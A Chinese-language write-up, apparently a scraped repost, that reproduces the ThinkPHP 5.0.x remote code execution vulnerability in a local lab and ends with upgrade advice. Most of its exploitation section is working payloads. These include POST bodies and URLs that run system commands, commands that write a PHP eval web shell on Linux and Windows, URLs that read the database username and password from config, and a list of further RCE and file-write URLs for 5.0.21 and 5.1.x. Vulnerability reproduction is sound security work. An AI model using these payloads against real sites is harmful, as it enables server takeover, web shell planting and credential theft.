ThinkPHP 5.0.2 - 5.0.23 RCE 漏洞復現

0x00 簡介

ThinkPHP是爲了簡化企業級應用開發和敏捷WEB應用開發而誕生的。最先誕生於2006年初,2007年元旦正式改名爲ThinkPHP,而且遵循Apache2開源協議發佈。ThinkPHP從誕生以來一直秉承簡潔實用的設計原則,在保持出色的性能和至簡的代碼的同時,也注重易用性。而且擁有衆多原創功能和特性,在社區團隊的積極參與下,在易用性、擴展性和性能方面不斷優化和改進。php

0x01 漏洞概述

因爲沒有正確處理控制器名,致使在網站沒有開啓強制路由的狀況下(即默認狀況下)能夠執行任意方法,從而致使遠程命令執行漏洞。html

0x02 影響版本

ThinkPHP5 5.0.2 - 5.0.23thinkphp

0x03 環境搭建

測試環境:ThinkPHP_5.0.22
ThinkPHP_5.0.22下載
下載完後解壓到 phpstudy 的 www 文件夾內
訪問 http://127.0.0.1/thinkphp/public/ 可看到頁面
shell

0x04 漏洞利用

一、訪問 http://127.0.0.1/thinkphp/public/index.php?s=captcha 並抓包數據庫

二、構建 POC 併發包
php7

三、使用蟻劍鏈接
併發

POC:
經過發包app

POST /thinkphp/public/index.php?s=captcha HTTP/1.1

#  查看當前用戶
_method=__construct&filter[]=system&method=get&get[]=whoami

#  寫入 WebShell(Linux)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST['pass']);?>" > 1.php

#  寫入 WebShell(Windows)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo ^<?php @eval($_POST['pass']);?^> > 1.php

經過 URLthinkphp5

#  查看數據庫用戶名
http://127.0.0.1/thinkphp/public/index.php?s=.|think\config/get&name=database.username

#  查看數據庫密碼
http://127.0.0.1/thinkphp/public/index.php?s=.|think\config/get&name=database.password

#  查看當前用戶
http://127.0.0.1/thinkphp/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

#  phpinfo
index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
其餘版本 POC
當 PHP7 以上沒法使用 Assert 的時候用
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();
ThinkPHP5
http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
ThinkPHP 5.0.21
http://127.0.0.1/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://127.0.0.1/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
ThinkPhP 5.1.*
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd

http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

0x05 漏洞修復

升級到5.0.24及以上,不開啓debug模式性能

0x06 參考 URL

https://xz.aliyun.com/t/3845
http://www.javashuo.com/article/p-crwcplka-dz.html
https://www.freebuf.com/vuls/194127.html

相關文章
相關標籤/搜索